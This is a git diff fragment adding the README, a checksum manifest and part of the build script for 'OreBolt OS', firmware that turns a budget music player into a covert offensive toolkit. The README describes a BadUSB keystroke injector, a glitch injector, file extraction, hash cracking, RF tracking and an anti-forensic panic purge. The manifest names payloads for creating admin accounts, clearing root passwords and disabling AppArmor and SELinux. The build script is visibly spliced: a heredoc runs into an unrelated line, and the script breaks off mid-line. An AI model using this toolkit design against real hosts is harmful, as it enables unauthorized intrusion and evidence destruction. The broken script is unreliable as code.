8](PREREQUISITES.md#8-troubleshooting) | +| Understand the AGPL/GPL split | [LICENSE.md](LICENSE.md) | +| See the full version history | [CHANGELOG.md](CHANGELOG.md) | +| Add a new module | `Makefile` header comment, steps 1–5 | \ No newline at end of file diff --git a/README.md b/README.md new file mode 100755 index 0000000..943cda2 --- /dev/null +++ b/README.md @@ -0,0 +1,279 @@ +# OreBolt OS + +A hackable firmware for the HiFiWalker H2 — a $30 MIPS digital audio player +that ships with a Linux userspace, a 320×320 LCD, and 64 MB of RAM. + +> **New here?** Jump to [QUICKSTART.md](QUICKSTART.md) for the build-and-deploy +> walkthrough. This document is the project reference. + +There is a particular class of consumer hardware that is cheap enough to be +disposable, yet capable enough to run a real operating system with real +peripherals. The HiFiWalker H2 sits squarely in that class. Under its +rubberized shell is an Ingenic X1000E SoC — a MIPS32r2 hard-float core +clocked at ~1.0 GHz, paired with 64 MB of DDR2 and an ESS ES9018K2M DAC that +was designed for serious audio. The stock firmware plays music. OreBolt OS +replaces it with a modular, LVGL-driven toolkit for hardware interrogation, +RF sensing, payload delivery, and forensic extraction — all running on a +device that fits in a shirt pocket and boots from a FAT32 MicroSD card. + +The entire system is cross-compiled from an Arch Linux host using a +`mipsel-linux-musl` toolchain (the Rockbox prebuilt is recommended). Every +user-facing module is a single-position-independent `.mod` ELF binary that +dynamically links against a shared `liblvgl.so`. A fork/exec broker in the +master launcher (`h2_test`) loads them on demand, which means only one module's +code segment lives in RAM at a time — a hard constraint when your whole +working set is 64 MB and the kernel already claims its cut. + +See [CHANGELOG.md](CHANGELOG.md) for the version history. + +--- + +## The H2 hardware family + +The H2 is one of five rebadged DAPs built on the same PCB. They are +interchangeable from a firmware perspective. + +| Brand / Model | Notes | +|---|---| +| HiFiWalker H2 | Most widely known; rubberized scroll wheel | +| Surfans F20 | Knurled metal scroll wheel | +| Aigo Eros Q | Original design base for the family | +| Phinistec Z6 | Common rebadged version | +| Agptek H3 | Same lineage of budget DAPs | + +All share the X1000E SoC, ESS ES9018K2M DAC, and MAX97220 headphone amp. +Multiple hardware revisions exist — some have Micro-USB, newer ones have +USB-C. All are Rockbox-compatible, and all run the same OreBolt OS image. + +## Architecture at a glance + +The build pipeline is a single `./build.sh` invocation with eight phases: +dependency verification, workspace integrity check, overlay tree creation, +LVGL compilation, module compilation, hardware library archiving, artifact +validation (MIPS ELF + AGPL marker check), and optional SD card deployment. +The Makefile is split into a thin `Makefile` shell that delegates to +`Makefile.h2-core-v6.2`, which knows how to build the core runtime, LVGL, +and all modules in the correct dependency order. + +At runtime the flow is: init scripts start the retro input mapper daemon +(`S98retro-input`), then the master launcher (`S99broker` / `h2_test`), +then the BLE input daemon. The launcher presents a scrollable LVGL menu of +all registered modules. Selecting one causes the broker to `fork()` + `execv()` +the corresponding `.mod` binary from `overlay/apps/`. When the module exits, +control returns to the launcher menu. Only one module runs at a time. + +The platform ships three core artifacts besides the modules themselves: +`liblvgl.so` (LVGL v8.3.11, ~200 KB, MIT-licensed upstream), `liborebolt.a` +(a static archive of hardware-level routines linked into every module), and a +150-payload HID macro matrix split across Linux, macOS, and Windows profiles. + +## Modules + +Seventeen modules, each a self-contained `.mod` binary with its own LVGL +screen. They group into four operational categories plus one networking +module with a separate license tier. + +### Offense / payload delivery + +These modules exist because the H2's USB port can be reconfigured into +arbitrary gadget topologies through ConfigFS. That single capability — +presenting the device as whatever USB composite the operator needs — is the +foundation of the offense surface. + +**`deploy.mod`** — Flash storage manager. Calls `statvfs("/")` to pull +total, used, and free bytes from the SD card and renders them as a live +storage dashboard. The PLAY button triggers a manual `sync()` flush. Not +exciting on its own, but every operator needs to know how much space is left +before dropping a 150-payload macro matrix onto a 2 GB card. + +**`pauto.mod`** — Payload Automation, the HID keystroke injector. It parses +OreBolt's custom macro command language and injects keystrokes through +`/dev/hidg0`, the HID function endpoint exposed by the gadget subsystem. +Each `.dd` payload file encodes an OS-specific key sequence (delay, modifier, +scan code triples). The module selects the correct profile (Linux, macOS, or +Windows) and plays it back at USB-speed. This is the module that turns the H2 +from a music player into a BadUSB-class device. + +**`retro.mod`** — Retro game launcher. Scans `/data/roms/` recursively +for ROM files across 11 systems (NES, SNES, Game Boy, Genesis, SMS, +GameGear, PCE, Atari 2600, Neo Geo Pocket, and FDS/GBA), auto-detects the +target system by file extension, and displays a filterable LVGL picker +menu. Selecting a ROM forks the matching emulator binary (fceux, snes9x, +gambatte, gpsp, dgen, mednafen, or stella) and monitors it — BACK sends +SIGTERM to the emulator child. The companion `retro_input_mapper` daemon +runs at boot via `S98retro-input` and creates a virtual uinput gamepad +that maps the H2's rotary encoder and buttons to standard d-pad + ABXYLR ++ Start/Select, complete with a rotary-press axis toggle (vertical U/D +vs. horizontal L/R) that auto-reverts after 3 seconds of idle. + +**`glitch.mod`** — Hardware glitch injector. Drives X1000E GPIO lines to +produce timed power and clock glitches against an externally-wired target. +The module exposes controls for glitch width, trigger delay, and repeat count +on the LVGL UI. It is the most hardware-dependent module in the stack — it +requires physical access to the target's power or clock rail and assumes the +operator has wired the glitch circuit correctly. + +### Forensics & extraction + +**`extract.mod`** — Mass storage extractor. Recursively copies files from +`/mnt/target_media` (a mount point for an attached USB mass storage device) +into `/data/loot_drop/extracted/`. It walks the directory tree, skips +symlinks (to avoid following loops into the host filesystem), copies in 4 KB +chunks, and displays running file, directory, and byte counts on the LVGL +screen. The forensic dispatch engine that selects which `.dd` payload to run +against a detected OS lives in `mod_forensics.c` within `liborebolt.a`. + +**`vault.mod`** — Encrypted credentials and payload vault. Provides PIN-based +authentication and stores operator-curated quick-launch lists in +`Provision.txt`. Sensitive payload content is encrypted at rest. The vault +is the module you lock down before handing the device to someone else. + +**`probe.mod`** — I2C bus scanner. Probes `/dev/i2c-0` across the full +address space (0x03–0x77) using `ioctl(I2C_SLAVE)` + `i2c_smbus_read_byte()`. +Responding devices are highlighted green on the LVGL display. On the H2 this +will typically enumerate the DAC, the audio codec, and any attached I2C +peripherals. Five seconds of runtime tells you exactly what is on the bus. + +**`pwdb.mod`** — Password database with bcrypt and argon2 verification. +Stores operator-managed credential entries and supports verifying captured +hashes against the local database. The hashing implementations are linked +from `liborebolt.a` and run entirely on the MIPS core — no external crypto +library dependency. + +### Reconnaissance & sensing + +This is where the H2's Bluetooth radio and its (future) WiFi capability come +into play. The X1000E has an on-die BLE controller, and the recon +architecture supports WiFi scanning through `nl80211` once a driver is +available. + +**`proxalarm.mod`** — The flagship recon module, built as a single `.mod` +binary with three internal layers to keep the RAM footprint tight on a 64 MB +device: + +The **bledsp** layer handles RF scanning. It opens the BLE socket, pulls +advertisements, and runs the RSSI values through a rolling-average low-pass +filter implemented with MIPS DSP ASE intrinsics (`__builtin_mips_q31` mul +and shift operations) to smooth out the noise floor. A `bledsp_poll_wifi()` +stub is wired in and ready for future `nl80211` integration — when a WiFi +driver lands, the same smoothing pipeline handles WiFi RSSI with no +architectural change. The **NEXT** key cycles the RF source between BLE and +WiFi. + +The **proxvec** layer is the kinematics engine. It maintains a target table +with unique device IDs, tracks per-target state machines (new / tracking / +stale / expired), and computes radial velocity from the rate of change in +smoothed RSSI over time (delta-distance divided by delta-time). This is not +GPS-accurate positioning — it is coarse proximity estimation based on RF +signal propagation, but on a device the size of a deck of cards, coarse is +what you get and coarse is useful. + +The **radar_ui** layer renders a 320×320 LVGL canvas with a rotating sweep +line, four range rings, and color-coded blips for each tracked target. Blip +color encodes signal strength (bright green for close, dim red for far), and +velocity vectors show whether a target is approaching or receding. When a +target crosses the alarm threshold, the display flashes an overlay. The +**ROTATE** knob cycles through four sensitivity presets (−40 to −70 dBm +floor), **PLAY** toggles pause/resume, **BACK** exits. + +One binary, one scan loop, one set of smoothing buffers — the entire +proximity sensing pipeline fits in a single module slot. + +**`nettaps.mod`** — USB virtual network tap. Opens a raw `AF_PACKET` socket +on `usb0`, captures IP packets, and parses them into a live LVGL console. A +configurable time-window coalescer (30 s / 1 min / 2 min / 5 min / 10 min) +aggregates packet counts before flushing to disk — important because the H2's +SD card has limited write endurance. The flash-safe timed flush is the detail +that separates a toy packet sniffer from something you can leave running on +actual hardware. + +**`rfid.mod`** — RFID/NFC reader. Drives an externally-attached reader over +UART or SPI, enumerates cards in range, and dumps tag memory contents to the +LVGL display. The module itself is straightforward; the complexity lives in +the physical layer — which reader board, which antenna, which frequency band +(125 kHz LF or 13.56 MHz HF). + +### Environment & shell + +**`vterm.mod`** — Virtual terminal with a FreeDOS bridge. Provides a +TTY-style shell rendered inside an LVGL text area. Ships a minimal FreeDOS +userland under `overlay/data/vterm/freedos/bin/` for x86 emulation scenarios. +On the H2's MIPS core this is necessarily slow, but it demonstrates that the +module system can host an entire foreign userland. + +**`studio.mod`** — UAC2 Mixer Console. Four-channel mixer (GAME / DISCORD / +MIC / MUSIC) with per-channel volume bars. **NEXT** and **PREV** cycle the +active channel, **PLAY** toggles hardware mute. Volume adjustments are sent +as USB Consumer Control HID commands through `/dev/hidg1`. The module turns +the H2 into a physical audio mixer — plug it into a host, twist the scroll +wheel, and the host's volume changes. + +**`noise.mod`** — True random number generator. Pulls 32-byte entropy blocks +from the kernel via `getrandom(GRND_RANDOM)` and pipes them to the host over +CDC ACM serial (`/dev/ttyGS0`) at 100 Hz. The entropy source is the hardware +TRNG on the X1000E, not a software PRNG — the output is suitable for +cryptographic seeding. + +**`reset.mod`** — Factory reset and purge coordinator. The operator-facing +front-end for the panic-purge subsystem. It invokes `mod_panic_purge` +(software: zeroes RAM caches, temp files, and `/data/vault/syslog.log`) and +then `mod_panic_hardware_purge` (hardware: cuts SD card slot power and shorts +SPI flash write-protect via X1000E GPIO) in the correct sequence. The +hardware purge is a compile-time toggle (`HARDWARE_GPIO=0` for stubs, +`HARDWARE_GPIO=1` for real GPIO manipulation). + +### Networking + +**`bitchat.mod`** — Mesh chat, and the only module under AGPL-3.0-only. An +independent C implementation of the BitChat wire protocol — not affiliated +with, sponsored by, or endorsed by Permissionless Tech, LLC. The name is +used under nominative fair use (see [LICENSE.md](LICENSE.md) section 8). It +implements the full `BITCHAT_MSG_*` message type set, advertises its Written +Offer URL on every mesh HELLO via `BITCHAT_MSG_LICENSE`, and uses +`mod_radio_input_multiplex` (BLE + LoRa + 433 MHz) as its transport layer. +The mesh implementation itself lives in `mod_bitchat_mesh.c` within +`liborebolt.a`, compiled with a mandatory `-DAGPL_BITCHAT` flag — the build +fails without it, enforced in `build.sh` Phase 7. + +## Hardware library (`liborebolt.a`) + +A static archive linked into every `.mod` binary. Source lives under +`src/modules/`. These are the low-level routines that modules call but do +not implement themselves. + +| File | Purpose | +|---|---| +| `mod_core_hid.c` | HID descriptor tables shared by `pauto.mod` and `retro.mod` | +| `mod_forensics.c` | Forensic extraction engine — dispatches `.dd` payloads by OS profile | +| `mod_panic_purge.c` | Software panic purge — zeroes volatile state before hardware purge | +| `mod_panic_hardware_purge.c` | Hardware panic purge — GPIO-driven SD power cut and SPI flash WP | +| `mod_radio_input_multiplex.c` | Radio input multiplexer (BLE + LoRa + 433 MHz); bitchat transport | +| `mod_ui_frame_graphics.c` | RGB565 blitters, double-buffer management, scroll wheel routing | +| `mod_bitchat_mesh.c` | BitChat mesh networking (AGPL-3.0-only; `-DAGPL_BITCHAT` required) | + +## Documentation + +| Doc | What it covers | +|---|---| +| [QUICKSTART.md](QUICKSTART.md) | Build and deploy from scratch (~30 min) | +| [PREREQUISITES.md](PREREQUISITES.md) | Host setup, toolchain, kernel headers, SD card prep | +| [HEADERS.md](HEADERS.md) | Kernel headers strategy (FiiO M3K + XBurst BSP fallback) | +| [ARCHITECTURE.md](ARCHITECTURE.md) | Module layout, SoC details, build pipeline internals | +| [LICENSE.md](LICENSE.md) | Multi-tier licensing, AGPL boundary analysis, compliance | +| [CHANGELOG.md](CHANGELOG.md) | Version-to-version diff | +| [BUILD_MANIFEST.txt](BUILD_MANIFEST.txt) | Complete file inventory with SHA256 | +| [SHA256SUMS](SHA256SUMS) | Per-file integrity manifest | + +## License + +Multi-tier. Full analysis in [LICENSE.md](LICENSE.md). + +- **bitchat mesh module**: AGPL-3.0-only +- **All other OreBolt OS code**: GPL-2.0-or-later +- **LVGL / lv_drivers**: MIT (upstream) +- **Documentation**: CC-BY-4.0 + +Modifying and deploying the bitchat module triggers AGPL v3 section 13 — you +must make your modified source available to anyone who interacts with your +node over the mesh. Replace the `BITCHAT_SOURCE_URL` placeholder in +`src/modules/mod_bitchat_mesh.c` before deploying. \ No newline at end of file diff --git a/SHA256SUMS b/SHA256SUMS new file mode 100755 index 0000000..6914ce3 --- /dev/null +++ b/SHA256SUMS @@ -0,0 +1,112 @@ +af3c20a1c6ca90a070967cd608b13c43740a824e606b5ed6da479aa61eba7652 ./ARCHITECTURE.md +4d2ef1c7d17104495f4fdc6daf25c22288f77917bc08b2c89faa32346abd952b ./BUILD_MANIFEST.txt +c1b46d236474365ac88964118a01b0e51cbf161bc5c0ee37e9cda273b050e6a2 ./CHANGELOG.md +306232e96e47873f67c6ed3b624b546ed157d111a82d3c00978db8785071ffdc ./HEADERS.md +19081ca3d95e923b4499f32943ea83e1c61a1ca3fb7006e810b628b1d9987810 ./LICENSE.md +f5100374d955ce78364a114fbdb42c61dd4a4cfc47d4c09d421c87d7b5ecc55b ./Makefile +55ecbc07f22b9d33df89c105fce7cb9e674ae4351f49818bb568a7efa7cc876c ./Makefile.h2-core-v6.2 +790748cf6e7a085e38265eb1e2138786d3d8d4ced28e5b9f415839c366b07b83 ./Makefile.orebolt-v1.5 +30a68bb0027cc0f347cffb34e2de43daf94dfd0ec6426450fb87bae61d8e035e ./PREREQUISITES.md +9713032b9fe760fb40fc9ea6c1e6b3d78195f248d21aaf881d69ba77341771de ./QUICKSTART.md +4d19a71efe2f1b32477660e37900a7d3aa614fa8d3ec5673a61aecc8706c6bd1 ./README.md +70364362503a47a3e228fb8c363b09addc1403f464fcec15d453ea691287b04b ./build.sh +4293da3d24b6c94776e8710b622ea4ead3cbf7f7ca3a8cd2e771c4c7aed5a6ba ./include/h2_ui.h +c8c92a3b98ebff14f5118c8f9b802d62c5a32008f310cc95b472d3d32303cbbb ./include/log_manager.h +69f323f309056091b759a62db69963c574b6bdbed64c8746b0cea178bfb53c11 ./inject_payloads.sh +374489bb014f881b4d92b8dfd0dc72777b4e412a50fe3071a7885fef01f13a3b ./licenses/AGPL-3.0.txt +43bce40c9c3a5df7982d95875ad5a8793f4cb13c4eca40a5e14067dbfbc7ff5f ./licenses/GPL-2.0.txt +306fcbe90eb6106877b672da432116675cc45d33ae2d0a2507825203a64d3e7f ./licenses/MIT.txt +87fd33ab63c342634e752629c5aec90d0258e6076562619df9fe2fa7b55b6405 ./lv_conf.h.dist +1ce7f5ee2c132c7a9467214a31f651fab83561eadb04044862714916cc2569af ./main.c +12d39f90383d24503cc58e2a05764077f260d3f73b9d5693c529383f25ba4377 ./modules/orebolt-bitchat/bitchat.c +4be8719872b12da291df69e7eca162031834613d60bb1f18f2138c0f4ae7c2c3 ./modules/orebolt-deploy/deploy.c +f6770e0b3e8643e4502c60e7f02ad7f13b0771bebcb9059b34d91bd58cad28de ./modules/orebolt-emulate/emulator.c +67017ac950aba630309a1482a807bc2b2cafe9b4b2e8c9caee54b8f23bee748d ./modules/orebolt-emulate/emulator_input_mapper.c +d9717040fd726056fd4bbf7416c81bc7cb111e58f907d24403477223e6807c51 ./modules/orebolt-extract/extract.c +11510fbf8f5ab74554fa35b6895bcf7c635da548c09ba37a8dc093d176f7c7dc ./modules/orebolt-glitch/glitch.c +06804337bfb6c759ab08f91bd5fdf105e7a5f90fcde07da5fe6a94f9cf778e01 ./modules/orebolt-nettap/scalpel.c +c8b31cf8490302cf411cb102a5b36c96f394a77b10c631e3a4f1463a11db29de ./modules/orebolt-noise/noise.c +ac50682391d8f328c72ff241fb56c17a51c4c0729a7ca41a1c5a4f06c33b475f ./modules/orebolt-pauto/pauto.c +d103975aa1433971e7187605492bf5d79230927183689749d266a1d0850e1fb5 ./modules/orebolt-probe/probe.c +a4af604240f8ebc06d048d5dff3ab296e2ce2a25dea3ec58b6cc37103be085cc ./modules/orebolt-proxalarm/bledsp.c +7cdb7fe16b36b96b05a62c4e71ccd22d3d7ec85e8404b55384d81dda8d2905fc ./modules/orebolt-proxalarm/bledsp.h +c38bfe61deea7bba1598faa29ea5c266be0eedeb94ce751f701c066af88c8586 ./modules/orebolt-proxalarm/proxalarm.c +7bd43700b839089791da3e799ecd8e072b2d226e07d5ace7ee2c4429ed36e05f ./modules/orebolt-proxalarm/proxvec.c +30062b3e5127234d2492c20b9a56bfb7c39f635dbd834cb39ca7b31989907922 ./modules/orebolt-proxalarm/proxvec.h +c920e433685a88090c3e695bda9386de02bf9f43380f8573a5378683585a0579 ./modules/orebolt-proxalarm/radar_ui.c +fc9bec76ee843320a453e72e9a6bdef7ad96c6597c0def0b4666a3e00c084c8a ./modules/orebolt-proxalarm/radar_ui.h +712214c1981ceb56d035163f30b24f0146edce4d232f14f0d019a99cbaadb4b9 ./modules/orebolt-pwdb/pwdb.c +291d5c63e9e535eb986b5e8fa2cef0b33cc2ec05504b3dd21669191760495ec0 ./modules/orebolt-reset/reset.c +95787550dd8ad6f10b9e49a9d2ee1619a730038873e57911106c0539ea2e5b89 ./modules/orebolt-rfid/rfid.c +f2d6929a1981122ddaa6b38a1bac757932663871f77fdb4ac8b9df7795efa43d ./modules/orebolt-scalpel/scalpel.c +700673c26c378e360dc88a5cfbc6f1815bdf4e680e261257c9da80649e0dbd29 ./modules/orebolt-studio/studio.c +0b5bf578f001abe0ee9512803d66fb186564c5a1f0eccf3c9da684ae2d304733 ./modules/orebolt-vault/vault.c +338f80e9a3ae94a48e0ec0beff767c24067f803a553a49554cfb7407606f8cd5 ./modules/orebolt-vterm/vterm.c +9914599da48fb76191e4d72529f0ed0a40bf724ca0f26f8a9e28db6d18d31796 ./overlay/data/bt_config/paired_macs.txt +9eb80ea8d3e3067ac4ec53c44ff6cd53e8a9f22a01f50c19c2b39cbac6bb6a7a ./overlay/data/chat_config/macros.txt +1bd045919d1bbffddf078b0f947bcd44a1f3438994cf75413b3f116c9b6a67be ./overlay/data/payloads/linux/01_restart_lightdm.dd +f631eb1d8825aad8f2c1c5ebe3908e86bfa6898dc7d0aa311e7ac66c64f92ebb ./overlay/data/payloads/linux/02_restart_gdm3.dd +93ed9a4a1a2c5a7427e21b39bfe2bf3950e3e5ad4231847783a33f9656b2a3ca ./overlay/data/payloads/linux/03_restart_sddm.dd +8036107ec0eb4e3e99d8b875f69f35d497d9e645d03edbbf783185bd650458fe ./overlay/data/payloads/linux/04_kill_wayland.dd +43aecd9235a3f21581f06657d6aefbe52ba8ab9c32d7500d66c3e0235ad2a19c ./overlay/data/payloads/linux/05_rebuild_xorg.dd +c0cc44e2bea1c718d09485c88adac6277d75905608b9f4f49e875d96e9a6ad8e ./overlay/data/payloads/linux/06_clear_x11_locks.dd +181589740883607db4f5e2f25a2d07bc7beff986bf566a094503dab3af948007 ./overlay/data/payloads/linux/07_drop_tty3.dd +d1c16726f6a296ae030bccd5b5081d60fe7aa65f34dc8244a045180fd3b97af5 ./overlay/data/payloads/linux/08_prompt_clear.dd +c7d0d9fbaeb6353c5918ae6933ff9319e26c420bdef975fe5438db264c8e2f94 ./overlay/data/payloads/linux/09_kill_desktop_context.dd +914560b6ca28837aa8dc883312f8d8922c58a23350ef0d0f55874581b0f0177a ./overlay/data/payloads/linux/10_restart_gnome_shell.dd +e45356ca7195e9c19532d9e9d9fb049237b370e855d5c4299fd1ff73e66a497a ./overlay/data/payloads/linux/11_backup_rootfs.dd +6b27c0795704e583a3129c6a4d5375622a2f30fb2b47fc35ffc01bf806852071 ./overlay/data/payloads/linux/12_backup_homes.dd +b9ad677ece4814b8c4d4fc7ff1e16c680286c50950c670a0daa5ab26aacf9571 ./overlay/data/payloads/linux/13_backup_etc.dd +a5af364f73c4fe9171eaae3f80e8fb112e75ad5ccad61286767f7a0adeede396 ./overlay/data/payloads/linux/14_isolate_ssh_keys.dd +f85ade8a8bc8c761b11802ba5784ad2c7634881594944e2fabf00131a1680a67 ./overlay/data/payloads/linux/15_backup_net_metadata.dd +d2abe81bb9e1e04c5c0fee0109c23001e3c9b95a81a8221f212909f2dbd86157 ./overlay/data/payloads/linux/16_dump_mbr.dd +16e1320dd04a1dd6603e8f64295f232dd1fb27a628e3b8f60c3737121d3df745 ./overlay/data/payloads/linux/17_extract_hashes.dd +63205c29699eb0b96065bfd05f67ffe8123b45ef1c6b733f748e5ebeab896847 ./overlay/data/payloads/linux/18_compress_mail.dd +96239e4b386a66b37b7d7d7857dc3f326fa5158959452a0cc8b4493e627850b8 ./overlay/data/payloads/linux/19_export_packages.dd +290d26b32edd34a6334535833900c9a941b65068063878dc5a9c4a8bbabb08be ./overlay/data/payloads/linux/20_locate_sqlite_dbs.dd +d0f9a51dbc0e1dae058aa52470b827283c86594c066287b237718f4c79cf4683 ./overlay/data/payloads/linux/21_clear_dpkg_locks.dd +10612fccca61cbc510650161d01e014d0482e2f34a48cdf60835de1ca195faf3 ./overlay/data/payloads/linux/22_vacuum_journals.dd +a893e5ebd9814a361f8ce31341d26401f1bd842dbb835f7628e0c29173976866 ./overlay/data/payloads/linux/23_flush_ram_caches.dd +5d2fb80b35a8eded73cfe7484c5f4a6beb52939e3917fc8e373bbd5f432186c1 ./overlay/data/payloads/linux/24_rebuild_initramfs.dd +0dc40d772eb84bba47e4a87ddf322199ba6684ddcc8e46538151f0a8bb4aa7e1 ./overlay/data/payloads/linux/25_reverify_grub.dd +add1da7da6eb90143fcc88a1cf439fe07eff5eb1da6b6bbd3c2f52d25221fe0d ./overlay/data/payloads/linux/26_clean_apt_cache.dd +a2fe4f56143f04598de2b8b025a93b72de81e4715d36186727b951d9a9d4beb7 ./overlay/data/payloads/linux/27_identify_space_leaks.dd +27119fd2ece277891e586f190cd72cb0440a920a33466af2e9934432dcc806ec ./overlay/data/payloads/linux/28_schedule_fsck.dd +d846673093e9fcce90761ee9e7d01ecded2686367e5d611286b67a17ea41f01e ./overlay/data/payloads/linux/29_clear_tmp.dd +4c261f54048b2fd1a4ce26d47ab86b44c9b54032db06b38792c8ea3f682592d7 ./overlay/data/payloads/linux/30_remount_rw.dd +71570794a70d93c2a971db3c2caebd94b7da3f4622eb902a581ee347e2ceb4e9 ./overlay/data/payloads/linux/31_inject_admin.dd +65b3f5c704ce311c88b1b4ef4de88741b427c49bac9502a678dc249aa8e630ad ./overlay/data/payloads/linux/32_elevate_current_user.dd +b0908408b357a0b7027e173b693c282104bed3745de1c55261e6a59caa5035f5 ./overlay/data/payloads/linux/33_flush_iptables.dd +2c629dc2177d8119c000e092305ee21dad565863256848b438f152c74fec8ded ./overlay/data/payloads/linux/34_enable_ssh.dd +4fd0d4c44b35e3915f33bc927c32ecdfbff8dffe71f3ff931af646c076dbc598 ./overlay/data/payloads/linux/35_ufw_bypass_ssh.dd +0c52392031002e8146b41aafca2234a55f1dbbf6f80f2b67f638a4f27ef9ea21 ./overlay/data/payloads/linux/36_disable_apparmor.dd +bebc053686f881f548660b8d8a2d1569c0ccc71172787c70dab15fa624cede51 ./overlay/data/payloads/linux/37_permissive_selinux.dd +974b12560a0372eb17093ed258a983d691607a8d61b5a3a3823751a6f2587dba ./overlay/data/payloads/linux/38_clear_known_hosts.dd +e98216c1299ec8bdce619529b9f53adb23b39df292eea1628a25f95f19487c8a ./overlay/data/payloads/linux/39_authorize_ssh_passwords.dd +888f0bbee7e33ea3ce8b1b4ba4351b248872b8e2d7f7ba84942b88b4c719292c ./overlay/data/payloads/linux/40_clear_root_password.dd +ccb9e09c92c7c5fa9a9d14001f061e9f955c2c8298539997510f271a576f5a27 ./overlay/data/payloads/linux/41_sysrq_sync.dd +be633400c9b9efcd57f152232bdfe8875150cece248ebcadeb0667e92e0ae1a3 ./overlay/data/payloads/linux/42_sysrq_umount.dd +6ba6ca3a315845194b3aa1467fd04307f7c68282336ba5ecfdab198a77845e32 ./overlay/data/payloads/linux/43_sysrq_reboot.dd +7c74a85c2f20c36dfdb2543ef045fd4f458756082c54dfdb06e49c2ea9c04832 ./overlay/data/payloads/linux/44_sysrq_poweroff.dd +13059dd2ba8dcdf03fd178a95947b3ec171c3241457f8d2ed28a384ebf8d40fa ./overlay/data/payloads/linux/45_stream_dmesg.dd +c1e39416719bd6783816f97ff52ede7a2d400b8df20c8477704adbcdf64e2fe3 ./overlay/data/payloads/linux/46_sysrq_memdump.dd +d5abd9f3e6f9e9c7375b9fc76a94768dee4daeed56465628b4bf6d501844eb86 ./overlay/data/payloads/linux/47_sysrq_oom_kill.dd +f11e5a8d2c29c3d0102f77f8296299af8acb60d03af8d110e4f0dc07e14bb9ee ./overlay/data/payloads/linux/48_enable_serial_getty.dd +b943d6cf6287ab38a1a840b82bf592d512a01a5213b9725d0cafd22d0b3ed20e ./overlay/data/payloads/linux/49_flash_interfaces_down.dd +5be607e8f7579b1eff708a066ea6690eb80fe5e9905f29b92184095bd3ca97fa ./overlay/data/payloads/linux/50_loop_keyboard_leds.dd +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./overlay/data/vault/failures.dat +6610259d9fc51efeb212a0266d0cb65d37a27a5f73641605491c245f724fbb3c ./overlay/data/vault/payloads/Provision.txt +01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b ./overlay/data/vault/syslog.log +3dd8518f4c93e1a6ed0adcb275e3f1f2fa495c41af89ee1028e947f37fdc10b5 ./overlay/etc/init.d/S98emulator-input +ef28d3ed80b2d1e16f12c125b0bba0f00638cbc98de894fed8af817fe6aa7e69 ./overlay/etc/init.d/S99broker +a7ed59099b5728aac398a1b6787f45d3834d9ad721e0888bc7a7952aab437ba6 ./overlay/etc/init.d/bt_input_daemon.sh +e871420720600bc31a8a7bc69ec4a802ee425001b2186744ebd2c48d1db067da ./overlay/usr/bin/enable_vault_ble.sh +06d24628a5fe544c48d06cb6e65a1616100b6aebfb43a851596696bcd362cf0a ./overlay/usr/bin/enable_vault_usb.sh +0d2fd2c79fc315efbf82c57beb8e00528ab4ae9e951efc19e64361e4b338ae0a ./src/modules/mod_bitchat_mesh.c +90ffeebeeb95862a86e5e556e6bfd74ce55b2565f10951d6410ea5e3f60a3524 ./src/modules/mod_core_hid.c +cf237a3a368f1e804782c564bc196b87f8a019d5650889400c6b47e1d0eb1679 ./src/modules/mod_forensics.c +91fb4c95f525ad4563977f1d1530f41c7524274a1418959759da5217a17802a6 ./src/modules/mod_panic_hardware_purge.c +4918bf081501ff92e019f21582ac401ab926e04ace0452dc377e43d0488742cc ./src/modules/mod_panic_purge.c +37f8d9468c477030f6b4cec350e03bd8e401b923581540c2af14c6838bf43424 ./src/modules/mod_radio_input_multiplex.c +75cb4a2c4f9732b9edf89e99b5e9bf015cbfc61ef602a1874eebd738fe833fe9 ./src/modules/mod_ui_frame_graphics.c +acad4687c12c7dd5eca03ff28c97672ef0d7527c66fc87d7ccc3d5a5e2f0f832 ./src/modules/panic_purge_api.h diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..69989e0 --- /dev/null +++ b/build.sh @@ -0,0 +1,228 @@ +#!/bin/bash +# ============================================================================== +# build.sh -- OREBOLT OS v1.7 build orchestrator +# ============================================================================== +# Phases: +# 0 host dep check (pacman) +# 1 toolchain verification (mipsel-linux-musl-*) +# 2 workspace integrity check (17 modules + headers + scripts) +# 3 overlay/ tree creation +# 4 permission fixups on init scripts +# 5 H2 Core v6.5 build (LVGL clone + liblvgl.so + h2_test + 17 modules + mapper) +# 6 OreBolt OS v1.7 build (liborebolt.a + 150-payload matrix) +# 7 artifact verification (MIPS LE ELF check, sizes) +# 8 optional --deploy to SD card +# +# v1.7 changes: +# * 17 .mod binaries + 1 standalone daemon (unchanged count). +# * retro_input_mapper is a standalone uinput gamepad daemon. +# * Documentation and source comments cleaned for consistency. +# ============================================================================== +set -euo pipefail + +CROSS_COMPILE="${CROSS_COMPILE:-mipsel-linux-musl-}" +KERNEL_HEADERS="${KERNEL_HEADERS:-/opt/fiio-m3k-linux}" +SD_CARD_MOUNT="${SD_CARD_MOUNT:-/mnt/h2-sd}" +NO_COLOR="${NO_COLOR:-}" + +# ANSI color helpers +if [ -z "$NO_COLOR" ]; then + C_RESET="\033[0m"; C_OK="\033[1;32m"; C_WARN="\033[1;33m" + C_ERR="\033[1;31m"; C_INFO="\033[1;36m" +else + C_RESET=""; C_OK=""; C_WARN=""; C_ERR=""; C_INFO="" +fi + +log() { echo -e "${C_INFO}[*]${C_RESET} $*"; } +ok() { echo -e "${C_OK}[OK]${C_RESET} $*"; } +warn() { echo -e "${C_WARN}[!]${C_RESET} $*"; } +die() { echo -e "${C_ERR}[-]${C_RESET} $*"; exit 1; } + +DEPLOY=0 +CLEAN=0 +for arg in "$@"; do + case "$arg" in + --deploy) DEPLOY=1 ;; + --deploy-only) DEPLOY=1; SKIP_BUILD=1 ;; + --clean) CLEAN=1 ;; + --help|-h) + cat </dev/null 2>&1; then + warn "missing package: $pkg (installing...)" + sudo pacman -S --noconfirm "$pkg" || die "install failed for $pkg" + fi +done +ok "host deps satisfied" + +# --- Phase 1: toolchain ------------------------------------------------------ +log "Phase 1: verifying cross toolchain..." +for bin in gcc strip ar ranlib; do + if ! command -v "${CROSS_COMPILE}${bin}" >/dev/null 2>&1; then + die "missing toolchain binary: ${CROSS_COMPILE}${bin}" + fi +done +TARGET=$("${CROSS_COMPILE}gcc" -dumpmachine 2>/dev/null || true) +case "$TARGET" in + *mips*) ok "toolchain target: $TARGET" ;; + *) die "compiler target '$TARGET' does not look like MIPS" ;; +esac + +# Kernel headers tree presence check +if [ ! -d "$KERNEL_HEADERS" ]; then + die 